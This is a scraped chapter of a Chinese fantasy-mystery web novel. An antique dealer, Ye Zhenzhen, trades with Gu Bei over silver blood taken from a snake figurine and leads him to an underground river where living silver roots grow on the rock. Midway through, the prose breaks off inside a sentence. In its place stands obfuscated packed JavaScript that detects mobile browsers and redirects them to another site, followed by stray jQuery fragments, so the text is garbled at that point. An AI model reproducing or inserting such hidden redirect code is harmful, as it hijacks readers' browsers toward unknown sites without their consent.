“老板,东西有线索了。”
消息传来的时候,叶蓁蓁正坐在一把圈椅上,听叶陶陶念上季度的流水账目。
她抬手叫停,发髻上翠绿色的珠子晃了一下。
“是吗?消息哪来的?”薄唇轻启,声轻而细。
她的身体状况,从始至终都没有好转,但叶陶陶窃俑失败回来后坐立不安,显然是知道了什么。
这不是正常的换代征兆,叶蓁蓁能够感觉出来,从陶俑上回溯的那滴血,正虫子般啃食她的气力。
但无论如何,她不能让她的下一任容器狗急跳墙,更不能让叶家旁的人看出什么。
所以,她暗自加大了阵痛的药剂。
老管家抬眼看了一下叶陶陶,闭口不言。
“她可以听。”叶蓁蓁回复,满目慈爱,演的。
老管家点头:“先前沈家放出来一些风声,我打探了一下,没具体结果,但刚才……”
他一顿,门外的人无心久侯,中气十足地喊了一声:“叶老板,我给你捎来了息穹的特产,不请我进去坐坐吗?”
叶蓁蓁眉头一皱,老管家躬身回答:“顾家那小子在外头等着。”
身后的人眼睛发光,不慎将手中厚重的账本掉在了地上。
“知道为什么他选那个女人不选你吗?”叶蓁蓁提问,语气温和。
叶陶陶不作声,立即将账本捡起,放在了身后的架子上。
“她聪明、有能力、能抗事,脸也够臭。陶陶,真正的强者只会反复爱上自己,不会对仰慕者或守望者交付真心。”
闻言,老管家躬身的姿态更恭敬了两分:“老板……”
“让他进来吧。”叶蓁蓁叹了一口气,纤长的脖颈高高昂起。
老管家出门引客,叶陶陶问:“姐姐,我要不要回避?”
“不是想见他吗?留下吧。”叶蓁蓁抬眸,向一旁的椅子示意。
这边人刚落座,那边顾北便大踏步地进来了。
没有客套,没有寒暄,顾北冲她们点了一下头,从口袋里掏出一个黑色的密织布包。
“顾老板,黑布封口,是装祭品的规矩。你的特产,我怕是无福消受。”叶蓁蓁开口,脸上神清严峻。
顾北没解释,只说:“看看再下定论不迟。”
布包上的绑绳被一圈圈撤开,叶陶陶伸头凑过去瞧,叶蓁蓁端着架子,一身不吭。
很快,一小撮银灰色的东西露了出来。
“这是……银血?”叶陶陶震惊,扭头看向叶蓁蓁。
“准确来说,是从那尊蛇俑上刮下来的银血凝脂。”顾北用布包着手指,捻开了其中的几个小颗粒,“当时似乎全部回溯、没留任何痕迹,后来才出现……这些血渍凝在了它凹陷的蛇瞳里。看来,回到叶老板体内的,是别的东西。”
灯光下,黑布上浅浅的银痕,十分耀眼。
“怎么?来空口白牙唱大戏?”叶蓁蓁扫了一眼,抬手端起了茶杯。
她的态度很明显:想要蛇俑原物,但知道有条件。
顾北也不废话,开门见山:“叶老板,我要你带我去叶家古井,看看传说中万年青的根系。”
“送客。”叶蓁蓁当机立断。
顾北点头,将那个布包往桌子上一摆,扭头就走。
朝向叶蓁蓁的那面散开,恰到好处的有银光泛出。
蓦然,她的心脏被针扎似地,疼了一下。
“不过是件假古董,技艺再好也是便宜货。顾老板像个宝似地藏着,真不怕人笑话。愿意的话,坐下来喝盏茶,稍后我让陶陶带你去叶家库房,挑一件喜欢的。”叶蓁蓁将那个布包握在手里,面上气定神闲地排遣。
无论内容如何,开口就等于妥协。
顾北抿了一下嘴,扭头说:“是啊,您说一件假古董,纪澜来镜海头一日,就有人上门偷盗抢夺,事没成,又巧合地差点破了陶陶的皮相;这东西谁带着都没事,偏叶家的银血一沾,就有人疼得要死要活。这是为什么呢?”
他双手插兜,悠闲地往门外踱,叶蓁蓁眼一眯:“针对叶家来的?”
顾北脚步未停:“我可没这么说。”
叶蓁蓁抬手,老管家将他挡在了廊下。
顾北叉腰转身,收敛神情,眸色深沉:“带我去看万年青根系。”
“你为了维护那个女人,能在叶家满嘴鬼话为她开脱,现在一个人上门,交易她的东西,我怎么敢信你。”叶蓁蓁盯着顾北,眼神中充满质疑。
“你还有别的选择吗?”顾北呛了她一句,但还是如实说,“凝血的事她不知道,我也不希望她卷进来。那尊陶俑上,有我父亲的修复刻痕,但他跟叶家无冤无仇,也从不沾赝品。既然现在叶家银血对它有反应,我想,我们算是同路人。”
“北哥,你敢偷……”想到纪澜随手掏刀的作风,叶陶陶不免替他担心。
顾北嗓音一沉:“我还没烂到偷人东西的份上。纪澜偶然所得,留它在身边,是为了找她朋友林菲菲,现在有人不远千里给她送去更直接的线索,她无心其他,把俑送我了。”
他眼眸垂了一分,隐隐伤心。
“哦,被甩了,分手礼物。”叶蓁蓁精准捕捉了他的情绪。
从叶陶陶带回蛇俑丢失与他俩结伴去了息穹的消息起,她便断定之前他们在叶家的种种,是顾北色令智昏、演戏救人。
只是眼前,找俑比收拾他们要紧。
顾北用舌头抵了一下侧颊,心有不甘:屁,纪大官人给的卖身打赏还差不多,从始至终,她甜言蜜语都没给一句就把我睡了。
场面上冷了一刻,老管家上前为她添茶。
水激茶香之际,他轻声回禀:“沈家人近期去了京叶,听说,是去接一个女人。”
叶蓁蓁眉心微皱,随即点头,撇了陪坐的叶陶陶一眼:“叶家祖训,祖宅古井外姓人不能进。”
顾北的脚往门外挪了半寸,她接着说:“但也不是没有例外,你娶陶陶,也算是叶家人。”
顾北眉头一皱:得,又被挑唆卖身。
“谈不拢就算了,我查的是陈年旧案,五年、十年,总有机会;你就不一样了……”他又扫了叶陶陶一眼,“还有,陶陶年纪小,把相熟的心安当男女感情纠缠,但她不是物件,我也不是。我喜欢纪澜,她没弄死我,就是默许我继续追。”
叶蓁蓁看了叶陶陶一眼,听了这话,她脸上的表情震惊大于失望。
似乎正沉浸式感叹:不是?哥,这么能舔吗?
叶蓁蓁破天荒地勾了一下嘴角,三秒后,她转身往一架屏风后面走:“跟我来吧。”
“老板……”
老管家叫了她一声,叶蓁蓁回头看了他一眼,不怒自威。
她随手将布包抛给他,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100192|192201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
双黑底金绣的缎面鞋,在大理石地板上匀步挪动了起来,脚步轻缓,几不可闻。
叶陶陶不好吭声,只在背后冲顾北摇了摇头。
顾北笑了一下,谢过她的好意,毅然决然跟了上去。
拐过三四条廊子,顾北跟着她进入了叶家庭院的中心地带。
说是中式园林,不如说是保留的一片荒山造景,除了脚下的石阶还有人工雕琢的痕迹,两旁参天的松柏与槐树,完全是野蛮生长,将上空遮了个严严实实。
“坟前松柏守阳界,宅后槐木通阴途。”顾北随口一说,目光落在那些扭曲盘结的枝干上,眼尾微微上翘。他脑中闪过一个念头:即便是阴木,乍看也是郁郁葱葱,只有深入其中,才能发现虬根盘结在腐土中,退无可退之时,才惊觉这是个温柔陷阱。
“害怕?”叶蓁蓁停下了脚步,深蓝旗袍上的一双丹凤眼,带着几根血丝。
顾北回过神:“有些意外而已,叶家从院落建造到房内桌椅摆设,都很讲风水。”
叶蓁蓁点头,领着顾北继续往前走。
待前路出现一座深藏的单檐歇山顶建筑时,她突然回头:“古董圈的人都讲风水,但在叶家,我才是风水。”
顾北没接话,只是看着她转身,拔下头上的那只簪子,启开了建筑正门。
没有任何摆设,整个房间底部都是一个向下延申的洞口。
石阶整齐,两边有佛龛似的烛火位,点着老式长明灯。不知道烧的什么油,透着一股高蛋白的腥臊与焦糊臭。
“跟上。”叶蓁蓁步入其中,顾北紧随其后。
不过隔着几米的距离,前方的身影却有些模糊不清。那些淡蓝色的火焰无风轻摇,顺带着连周遭的温度都开始降低。
蓝旗袍,黑发髻,漂浮似的无声脚步。
顾北第一次觉得,叶蓁蓁其实很瘆人。随即,他不受控制地想到了纪澜,那个人兼具性情的冷淡与精神的魅惑,真舍不得……
想着想着,阶梯已经走到了尽头。
眼前的视域豁然开朗,但整体的气氛更加压抑。
寒湿的空气扑面而来,带着明显的锈蚀气息。
顾北捂了一下鼻子,撇头看向前方,才发现这地方,竟藏着一条地下河。
水流平缓,近乎凝滞,只有反射的粼粼火光,可供辨别它的流向。
“到了,你随便看吧。十分钟后,给我想要的答案。”没有一句废话,叶蓁蓁指向暗河对岸,优雅地靠在一旁的石壁上。
烛火龛位中的火光自上而下,将她精致古典的五官照得纸人一般。
“这黑灯瞎火的,你叫我看什么?”
顾北说得是实话,河岸的这点光,照明范围只在前后一米见方。
叶蓁蓁默不作声,抬手端起龛位中的油灯,猛然向河对岸抛去。
油脂浮在水面上,星星点点的幽蓝冷焰照亮了对岸的岩壁。
灰白色,靠近下方位置的岩石上有暗红近黑的大块色沁,带有纹路坑洼。岩体外层,显出无数银色的不规则网状物,密密麻麻。定睛细看,可以发现它们其实是生发于同一主干的立体根须。
无叶无茎,源头的那一截也不过拇指粗细,蜈蚣般趴在岩壁的左上角。
伴着汩汩水流,极其缓慢地蠕动。
“它……在呼吸?”
顾北倒吸了一口凉气。